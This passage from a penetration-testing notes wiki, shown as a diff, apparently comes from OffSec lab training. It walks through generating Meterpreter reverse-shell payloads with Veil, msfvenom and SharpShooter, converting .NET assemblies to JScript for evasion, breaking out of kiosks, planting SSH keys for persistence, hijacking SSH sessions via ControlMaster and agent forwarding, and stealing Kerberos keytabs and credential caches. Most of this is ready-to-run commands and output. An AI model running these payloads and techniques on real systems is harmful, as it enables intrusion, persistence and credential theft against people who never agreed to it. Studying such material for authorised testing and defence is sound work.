# Generate a powershell script (bat file) for evasion | # Generate a powershell script (bat file) for evasion | ||
| Line 2,796: | Line 2,012: | ||
# List payloads | # List payloads | ||
veil > list | veil > list | ||
# Use powershell rev tcp payload | # Use powershell rev tcp payload | ||
veil/evasion > use powershell/meterpreter/rev_tcp.py | veil/evasion > use powershell/meterpreter/rev_tcp.py | ||
# List options | # List options | ||
[powershell/meterpreter/rev_tcp>>]: options | [powershell/meterpreter/rev_tcp>>]: options | ||
# Generate payload | # Generate payload | ||
[powershell/meterpreter/rev_tcp>>]: generate | [powershell/meterpreter/rev_tcp>>]: generate | ||
# From pic below, payload is in /var/lib/veil/output/source/ folder | # From pic below, payload is in /var/lib/veil/output/source/ folder | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2022-10-image-3.png|thumb]] | [[File:2022-10-image-3.png|thumb]] | ||
=== Ebowla === | === Ebowla === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
https://github.com/Genetic-Malware/Ebowla | https://github.com/Genetic-Malware/Ebowla | ||
# Use it to obfuscate payloads like JuicyPotato or other exploits. | # Use it to obfuscate payloads like JuicyPotato or other exploits. | ||
# Quick demo | # Quick demo | ||
https://www.youtube.com/watch?v=rRm3O7w5GHg | https://www.youtube.com/watch?v=rRm3O7w5GHg | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Just Enought Administration (JEA) == | == Just Enought Administration (JEA) == | ||
* '''JEA Purpose''': Provides specific users/groups just enough permissions to execute their tasks without compromising security. | * '''JEA Purpose''': Provides specific users/groups just enough permissions to execute their tasks without compromising security. | ||
* '''JEA Function''': Allows delegated administration via PowerShell. Applicable to both servers and clients. | * '''JEA Function''': Allows delegated administration via PowerShell. Applicable to both servers and clients. | ||
* '''JEA Benefits''': | * '''JEA Benefits''': | ||
Reduces the number of administrators. | Reduces the number of administrators. | ||
* Limits administrator capabilities. | * Limits administrator capabilities. | ||
* Provides logging to monitor actions of JEA enabled users. | * Provides logging to monitor actions of JEA enabled users. | ||
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands. | * JEA sessions typically run in RestrictedRemoteServer mode, with limited commands. | ||
* Files and commands executed in a JEA session might run with administrative privileges. | * Files and commands executed in a JEA session might run with administrative privileges. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell. | # Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell. | ||
## Default PSSession Configuration file | ## Default PSSession Configuration file | ||
1 @{ | 1 @{ | ||
| Line 2,886: | Line 2,083: | ||
29 | 29 | ||
30 } | 30 } | ||
# Enumerate commands. The command below will tell you what kind of commands you're allowed to run. | # Enumerate commands. The command below will tell you what kind of commands you're allowed to run. | ||
Get-Command | Get-Command | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Just-In-Time Access (JIT) == | == Just-In-Time Access (JIT) == | ||
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges. | * JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges. | ||
* '''Use Case''': | * '''Use Case''': | ||
User needs to log in and perform maintenance requiring administrative privileges. | User needs to log in and perform maintenance requiring administrative privileges. | ||
* Instead of giving permanent access, JIT allows for temporary administrative access. | * Instead of giving permanent access, JIT allows for temporary administrative access. | ||
* After the set duration, access is automatically revoked. | * After the set duration, access is automatically revoked. | ||
* '''Integration''': | * '''Integration''': | ||
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled. | Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled. | ||
* PAM writes specific attributes that can be enumerated. | * PAM writes specific attributes that can be enumerated. | ||
* Once PAM is enabled in AD, it can't be disabled. | * Once PAM is enabled in AD, it can't be disabled. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 2,926: | Line 2,110: | ||
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access. | # Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access. | ||
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement. | # Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement. | ||
# Enumerate | # Enumerate | ||
## First import the dll to memory | ## First import the dll to memory | ||
Import-Module Microsoft.ActiveDirectory.Management | Import-Module Microsoft.ActiveDirectory.Management | ||
# Then you can enumerate the Get-commands | # Then you can enumerate the Get-commands | ||
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like "Get-*" } | Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like "Get-*" } | ||
# Example output of PAM being enabled on AD. | # Example output of PAM being enabled on AD. | ||
Get-ADOptionalFeature -Filter * | Get-ADOptionalFeature -Filter * | ||
... | ... | ||
FeatureGUID : | FeatureGUID : | ||
RequiredDomainMode : | RequiredDomainMode : | ||
| Line 2,953: | Line 2,133: | ||
PropertyCount : 10 | PropertyCount : 10 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== JScript == | == JScript == | ||
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It's similar to JavaScript. | JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It's similar to JavaScript. | ||
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia] | [https://en.wikipedia.org/wiki/JScript JScript - Wikipedia] | ||
=== DotNetToJscript === | === DotNetToJscript === | ||
If you get "This tool should only be run on v2 of the CLR" while trying to run the binary, look at the forum below. | If you get "This tool should only be run on v2 of the CLR" while trying to run the binary, look at the forum below. | ||
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)] | [https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)] | ||
> | > | ||
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error "This tool should only be run on v2 of the CLR". The resulting .js file works just fine. | You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error "This tool should only be run on v2 of the CLR". The resulting .js file works just fine. | ||
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript] | [https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript] | ||
* Download DotNetToJscript. | * Download DotNetToJscript. | ||
* Open the .sln | * Open the .sln | ||
* Compile both DotNetToJscript and ExampleAssembly | * Compile both DotNetToJscript and ExampleAssembly | ||
* Run the command below. | * Run the command below. | ||
* Open demo.js | * Open demo.js | ||
<syntaxhighlight lang="javascript"> | <syntaxhighlight lang="javascript"> | ||
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js | DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Testclass.cs''' | '''Testclass.cs''' | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work. | # The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work. | ||
using System; | using System; | ||
using System.Diagnostics; | using System.Diagnostics; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
using System.Windows.Forms; | using System.Windows.Forms; | ||
[ComVisible(true)] | [ComVisible(true)] | ||
public class TestClass | public class TestClass | ||
{ | { | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
| Line 3,039: | Line 2,200: | ||
} | } | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Then run this command after the above is compiled | Then run this command after the above is compiled | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js | .\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== SharpShooter &SuperSharpsHooter === | === SharpShooter &SuperSharpsHooter === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
https://github.com/mdsecactivebreach/SharpShooter.git | https://github.com/mdsecactivebreach/SharpShooter.git | ||
# Updated version | # Updated version | ||
https://github.com/SYANiDE-/SuperSharpShooter | https://github.com/SYANiDE-/SuperSharpShooter | ||
</syntaxhighlight> | </syntaxhighlight> | ||
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates! | If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates! | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 3,074: | Line 2,227: | ||
python2 SharpShooter.py | python2 SharpShooter.py | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Generating a raw Meterpreter staged payload using msfvenom:''' | '''Generating a raw Meterpreter staged payload using msfvenom:''' | ||
* Create the payload: | * Create the payload: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt | sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Generating malicious Jscript file with SharpShooter:''' | '''Generating malicious Jscript file with SharpShooter:''' | ||
* Invoke the SharpShooter tool with appropriate parameters: | * Invoke the SharpShooter tool with appropriate parameters: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test | sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''4. Notes:''' | '''4. Notes:''' | ||
* <code>--payload js</code>: This specifies a Jscript output format. | * <code>--payload js</code>: This specifies a Jscript output format. | ||
* <code>--dotnetver 4</code>: Sets the targeted .NET framework version. | * <code>--dotnetver 4</code>: Sets the targeted .NET framework version. | ||
* <code>--stageless</code>: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, "stageless" refers to the method of transferring the entire Jscript payload. | * <code>--stageless</code>: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, "stageless" refers to the method of transferring the entire Jscript payload. | ||
* <code>--rawscfile</code>: Specifies the file that contains our shellcode. | * <code>--rawscfile</code>: Specifies the file that contains our shellcode. | ||
* <code>--output</code>: Sets the output file name (excluding the file extension). | * <code>--output</code>: Sets the output file name (excluding the file extension). | ||
== Kiosk Breakout == | == Kiosk Breakout == | ||
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks] | [https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks] | ||
=== URIs (Uniform Resource Identifiers) === | === URIs (Uniform Resource Identifiers) === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 3,171: | Line 2,308: | ||
bitcoin: | bitcoin: | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Windows Kiosk Breakout === | === Windows Kiosk Breakout === | ||
'''1. Windows Explorer and Applications:''' | '''1. Windows Explorer and Applications:''' | ||
* '''Liabilities:''' | * '''Liabilities:''' | ||
Windows Explorer integration in apps can be a kiosk security issue. | Windows Explorer integration in apps can be a kiosk security issue. | ||
* Especially true for Internet Explorer, foundational for many kiosks. | * Especially true for Internet Explorer, foundational for many kiosks. | ||
'''2. Environment Variables:''' | '''2. Environment Variables:''' | ||
* '''Usage:''' Can be substituted for full file paths in browser-based kiosks. | * '''Usage:''' Can be substituted for full file paths in browser-based kiosks. | ||
* '''Example:''' %APPDATA% → local folder for app data storage. | * '''Example:''' %APPDATA% → local folder for app data storage. | ||
* '''Notable Environment Variables:''' | * '''Notable Environment Variables:''' | ||
<syntaxhighlight lang="xml"> | <syntaxhighlight lang="xml"> | ||
| Line 3,215: | Line 2,342: | ||
%WINDIR% → C:\Windows | %WINDIR% → C:\Windows | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''3. UNC Paths:''' | '''3. UNC Paths:''' | ||
* '''Usage:''' Enter full UNC paths in user input boxes or file browsers. | * '''Usage:''' Enter full UNC paths in user input boxes or file browsers. | ||
* '''Example: '''<code>\127.0.0.1\C$\Windows\System32</code> | * '''Example: '''<code>\127.0.0.1\C$\Windows\System32</code> | ||
'''4. Shell Commands:''' | '''4. Shell Commands:''' | ||
* '''Usage:''' Use "shell:" shortcut in file browser dialogs. | * '''Usage:''' Use "shell:" shortcut in file browser dialogs. | ||
* '''Notable Shell Commands:''' | * '''Notable Shell Commands:''' | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 3,241: | Line 2,361: | ||
shell:MyComputerFolder → Opens the “This PC” window | shell:MyComputerFolder → Opens the “This PC” window | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''5. Browser-Protocol Style Shortcuts:''' | '''5. Browser-Protocol Style Shortcuts:''' | ||
* '''Usage:''' Use "<code>file:///</code>" to access apps or files. | * '''Usage:''' Use "<code>file:///</code>" to access apps or files. | ||
'''6. Windows Search Functionality:''' | '''6. Windows Search Functionality:''' | ||
* '''Usage:''' Use embedded search boxes to navigate to a file from the search results. | * '''Usage:''' Use embedded search boxes to navigate to a file from the search results. | ||
'''7. Help Dialog:''' | '''7. Help Dialog:''' | ||
* '''Usage:''' Use it to search for utilities like Notepad, cmd.exe, or PowerShell. | * '''Usage:''' Use it to search for utilities like Notepad, cmd.exe, or PowerShell. | ||
'''8. File Shortcuts:''' | '''8. File Shortcuts:''' | ||
* '''Usage:''' | * '''Usage:''' | ||
Create shortcuts in a file browser dialog. | Create shortcuts in a file browser dialog. | ||
* Modify the shortcut target application to an app like cmd.exe or powershell.exe. | * Modify the shortcut target application to an app like cmd.exe or powershell.exe. | ||
'''9. Drag and Drop:''' | '''9. Drag and Drop:''' | ||
* '''Usage:''' Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe) | * '''Usage:''' Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe) | ||
'''10. Print Dialog:''' | '''10. Print Dialog:''' | ||
* '''Usage:''' Can be used to access Windows Explorer features. | * '''Usage:''' Can be used to access Windows Explorer features. | ||
* '''Usage:''' Use keyboard combinations to expand access. | * '''Usage:''' Use keyboard combinations to expand access. | ||
* '''Notable Shortcuts:''' | * '''Notable Shortcuts:''' | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 3,297: | Line 2,400: | ||
C+~ → Start Menu | C+~ → Start Menu | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''12. Bypassing Whitelisting or Blacklisting:''' | '''12. Bypassing Whitelisting or Blacklisting:''' | ||
* '''Strategies:''' | * '''Strategies:''' | ||
Copy and paste binaries, rename and run. | Copy and paste binaries, rename and run. | ||
* Modify hash, filename, or filepath to bypass blacklists. | * Modify hash, filename, or filepath to bypass blacklists. | ||
== Lateral Movement - Linux == | == Lateral Movement - Linux == | ||
=== SSH Persistence === | === SSH Persistence === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# 1. Generate SSH Keypair on Kali VM: | # 1. Generate SSH Keypair on Kali VM: | ||
kali@kali:~# ssh-keygen | kali@kali:~# ssh-keygen | ||
# View and Copy the Public Key: | # View and Copy the Public Key: | ||
cat /home/kali/.ssh/id_rsa.pub | cat /home/kali/.ssh/id_rsa.pub | ||
# Insert the Public Key on the Target Machine: | # Insert the Public Key on the Target Machine: | ||
linuxvictim@linuxvictim:~$ echo "ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali" >> /home/linuxvictim/.ssh/authorized_keys | linuxvictim@linuxvictim:~$ echo "ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali" >> /home/linuxvictim/.ssh/authorized_keys | ||
# SSH into the Target Machine without a Password: | # SSH into the Target Machine without a Password: | ||
kali@kali:~$ ssh linuxvictim@linuxvictim | kali@kali:~$ ssh linuxvictim@linuxvictim | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Hijacking SSH with ControlMaster === | === Hijacking SSH with ControlMaster === | ||
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config). | ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config). | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 3,345: | Line 2,434: | ||
ControlMaster auto | ControlMaster auto | ||
ControlPersist 10m | ControlPersist 10m | ||
# 2. Set Correct File Permissions: | # 2. Set Correct File Permissions: | ||
offsec@controller:~$ chmod 644 ~/.ssh/config | offsec@controller:~$ chmod 644 ~/.ssh/config | ||
# 3. Create ControlMaster Directory if it does not already exists: | # 3. Create ControlMaster Directory if it does not already exists: | ||
offsec@controller:~$ mkdir ~/.ssh/controlmaster | offsec@controller:~$ mkdir ~/.ssh/controlmaster | ||
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh'd, exit the session and list files. As you can see there is a socket file now: | # 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh'd, exit the session and list files. As you can see there is a socket file now: | ||
offsec@controller:~$ ls -al ~/.ssh/controlmaster/ | offsec@controller:~$ ls -al ~/.ssh/controlmaster/ | ||
| Line 3,358: | Line 2,444: | ||
drwx------ 3 offsec offsec 4096 May 13 13:55 .. | drwx------ 3 offsec offsec 4096 May 13 13:55 .. | ||
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22 | srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22 | ||
# 5. Now you can SSH Without Password (piggybacking active session): | # 5. Now you can SSH Without Password (piggybacking active session): | ||
offsec@controller:~$ ssh offsec@linuxvictim | offsec@controller:~$ ssh offsec@linuxvictim | ||
# 6. SSH to the controller again, but now as the root user: | # 6. SSH to the controller again, but now as the root user: | ||
# List available sockets: | # List available sockets: | ||
root@controller:~# ls -al /home/offsec/.ssh/controlmaster | root@controller:~# ls -al /home/offsec/.ssh/controlmaster | ||
# Now you can piggyback the active session with root user, without using the password: | # Now you can piggyback the active session with root user, without using the password: | ||
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim | root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding === | === Hijacking SSH using SSH-Agent and SSH Agent Forwarding === | ||
* '''Purpose''': | * '''Purpose''': | ||
SSH-Agent: Manages user's private keys. | SSH-Agent: Manages user's private keys. | ||
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent. | * SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent. | ||
* '''Advantages''': | * '''Advantages''': | ||
Doesn't require private key storage on the intermediate server. | Doesn't require private key storage on the intermediate server. | ||
* Users don’t repeatedly input passphrases. | * Users don’t repeatedly input passphrases. | ||
* '''How It Works''': | * '''How It Works''': | ||
SSH key requests from destination servers are passed through intermediate hosts to the originating client's SSH Agent. | SSH key requests from destination servers are passed through intermediate hosts to the originating client's SSH Agent. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Create SSH Key Pair: | # Create SSH Key Pair: | ||
ssh-keygen | ssh-keygen | ||
# Copy Public Key to Servers: | # Copy Public Key to Servers: | ||
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller | kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller | ||
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim | kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim | ||
# Enable Agent Forwarding on Kali Machine: | # Enable Agent Forwarding on Kali Machine: | ||
# Add in ~/.ssh/config: | # Add in ~/.ssh/config: | ||
ForwardAgent yes | ForwardAgent yes | ||
# Allow Agent Forwarding on Controller Server: | # Allow Agent Forwarding on Controller Server: | ||
# Add in /etc/ssh/sshd_config: | # Add in /etc/ssh/sshd_config: | ||
AlowAgentForwarding yes | AlowAgentForwarding yes | ||
# Start SSH-Agent: | # Start SSH-Agent: | ||
kali@kali:~$ eval `ssh-agent` | kali@kali:~$ eval `ssh-agent` | ||
# Add Keys to SSH-Agent: | # Add Keys to SSH-Agent: | ||
kali@kali:~$ ssh-add | kali@kali:~$ ssh-add | ||
# Connect using SSH-Agent Forwarding: | # Connect using SSH-Agent Forwarding: | ||
kali@kali:~$ ssh offsec@controller | kali@kali:~$ ssh offsec@controller | ||
offsec@controller:~$ ssh offsec@linuxvictim | offsec@controller:~$ ssh offsec@linuxvictim | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Linux Kerberos === | === Linux Kerberos === | ||
==== General Syntax ==== | ==== General Syntax ==== | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Logging in to the linuxvictim System | # Logging in to the linuxvictim System | ||
kali@kali:~$ ssh administrator@corp1.com@linuxvictim | kali@kali:~$ ssh administrator@corp1.com@linuxvictim | ||
# Note: We are using Active Directory credentials here. | # Note: We are using Active Directory credentials here. | ||
# Kerberos Tickets and Credential Cache | # Kerberos Tickets and Credential Cache | ||
# • AD members using Kerberos authentication get a credential cache file. | # • AD members using Kerberos authentication get a credential cache file. | ||
| Line 3,441: | Line 2,502: | ||
# • To find the administrator’s credential cache file: | # • To find the administrator’s credential cache file: | ||
env | grep KRB5CCNAME | env | grep KRB5CCNAME | ||
# Acquiring Kerberos Tickets | # Acquiring Kerberos Tickets | ||
# • Kerberos tickets expire after some time. | # • Kerberos tickets expire after some time. | ||
# • Use kinit command to get a ticket-granting ticket (TGT) for the current user. | # • Use kinit command to get a ticket-granting ticket (TGT) for the current user. | ||
kinit | kinit | ||
# • List stored tickets using klist: | # • List stored tickets using klist: | ||
klist | klist | ||
# Deleting Cached Tickets | # Deleting Cached Tickets | ||
kdestroy | kdestroy | ||
# Accessing Kerberos Services | # Accessing Kerberos Services | ||
# • Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication: | # • Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication: | ||
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D "Administrator@CORP1.COM" -W -b "dc=corp1,dc=com" "servicePrincipalName=*" | ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D "Administrator@CORP1.COM" -W -b "dc=corp1,dc=com" "servicePrincipalName=*" | ||
# -Y GSSAPI - Force LDAP to use kerberos authentication | # -Y GSSAPI - Force LDAP to use kerberos authentication | ||
# Requesting a Service Ticket | # Requesting a Service Ticket | ||
# • Use the kvno utility: | # • Use the kvno utility: | ||
kvno MSSQLSvc/DC01.corp1.com:1433 | kvno MSSQLSvc/DC01.corp1.com:1433 | ||
# • Confirm the ticket acquisition with klist: | # • Confirm the ticket acquisition with klist: | ||
klist | klist | ||
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow | Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow | ||
Default principal: Administrator@CORP1.COM | Default principal: Administrator@CORP1.COM | ||
Valid starting Expires Service principal | Valid starting Expires Service principal | ||
10/05/2023 14:02:39 10/06/2023 00:02:39 krbtgt/CORP1.COM@CORP1.COM | 10/05/2023 14:02:39 10/06/2023 00:02:39 krbtgt/CORP1.COM@CORP1.COM | ||
| Line 3,473: | Line 2,527: | ||
renew until 10/12/2023 14:02:38 | renew until 10/12/2023 14:02:38 | ||
10/05/2023 14:03:54 10/06/2023 00:02:39 MSSQLSvc/DC01.corp1.com:1433@CORP1.COM | 10/05/2023 14:03:54 10/06/2023 00:02:39 MSSQLSvc/DC01.corp1.com:1433@CORP1.COM | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Stealing Keytab files === | === Stealing Keytab files === | ||
* '''Purpose''': Automate authentication to Kerberos resources without using a password. | * '''Purpose''': Automate authentication to Kerberos resources without using a password. | ||
* '''Keytab Files''': Contain a Kerberos principal name and encrypted keys. | * '''Keytab Files''': Contain a Kerberos principal name and encrypted keys. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 3,493: | Line 2,542: | ||
ktutil: wkt /tmp/administrator.keytab | ktutil: wkt /tmp/administrator.keytab | ||
ktutil: quit | ktutil: quit | ||
# Keytab file created at /tmp/administrator.keytab. | # Keytab file created at /tmp/administrator.keytab. | ||
# Potential Misuse of Keytab Files | # Potential Misuse of Keytab Files | ||
# • With root access, keytab can be used maliciously. | # • With root access, keytab can be used maliciously. | ||
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab | root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab | ||
# Verifying the Loaded Tickets | # Verifying the Loaded Tickets | ||
root@linuxvictim:~# klist | root@linuxvictim:~# klist | ||
Ticket cache: FILE:/tmp/krb5cc_1000 | Ticket cache: FILE:/tmp/krb5cc_1000 | ||
Default principal: administrator@CORP1.COM | Default principal: administrator@CORP1.COM | ||
| Line 3,508: | Line 2,553: | ||
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM | 07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM | ||
renew until 08/06/2020 15:18:34 | renew until 08/06/2020 15:18:34 | ||
# Renewing Expired Tickets | # Renewing Expired Tickets | ||
• Renew tickets if expired but within renewal timeframe. | • Renew tickets if expired but within renewal timeframe. | ||
root@linuxvictim:~# kinit -R | root@linuxvictim:~# kinit -R | ||
# Exploiting Loaded Keytab Files | # Exploiting Loaded Keytab Files | ||
# • Authenticate as the domain admin. | # • Authenticate as the domain admin. | ||
root@linuxvictim:~# smbclient -k -U "CORP1.COM\administrator" //DC01.CORP1.COM/C$ | root@linuxvictim:~# smbclient -k -U "CORP1.COM\administrator" //DC01.CORP1.COM/C$ | ||
WARNING: The "syslog" option is deprecated | WARNING: The "syslog" option is deprecated | ||
Try "help" to get a list of possible commands. | Try "help" to get a list of possible commands. | ||
| Line 3,528: | Line 2,570: | ||
ProgramData DH 0 Mon Jun 15 15:04:37 2020 | ProgramData DH 0 Mon Jun 15 15:04:37 2020 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Abusing Credential Cache files === | === Abusing Credential Cache files === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Lets say you find a cached credential file in /tmp. | # Lets say you find a cached credential file in /tmp. | ||
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_* | offsec@linuxvictim:~$ ls -al /tmp/krb5cc_* | ||
Output: | Output: | ||
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000 | -rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000 | ||
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5 | -rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5 | ||
# You can copy, and take ownership of the cache file | # You can copy, and take ownership of the cache file | ||
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow | offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow | ||
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow | offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow | ||
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow | -rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow | ||
# Now, to use the stole cache file. First destroy the current keys. | # Now, to use the stole cache file. First destroy the current keys. | ||
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache. | # Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache. | ||
offsec@linuxvictim:~$ kdestroy | offsec@linuxvictim:~$ kdestroy | ||
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow | offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow | ||
offsec@linuxvictim:~$ klist | offsec@linuxvictim:~$ klist | ||
Output: | Output: | ||
klist: No credentials cache found (filename: /tmp/krb5cc_1000) | klist: No credentials cache found (filename: /tmp/krb5cc_1000) | ||
| Line 3,563: | Line 2,596: | ||
... | ... | ||
renew until 08/06/2020 15:11:08 | renew until 08/06/2020 15:11:08 | ||
# Requesting Service Tickets with the Stolen Cache | # Requesting Service Tickets with the Stolen Cache | ||
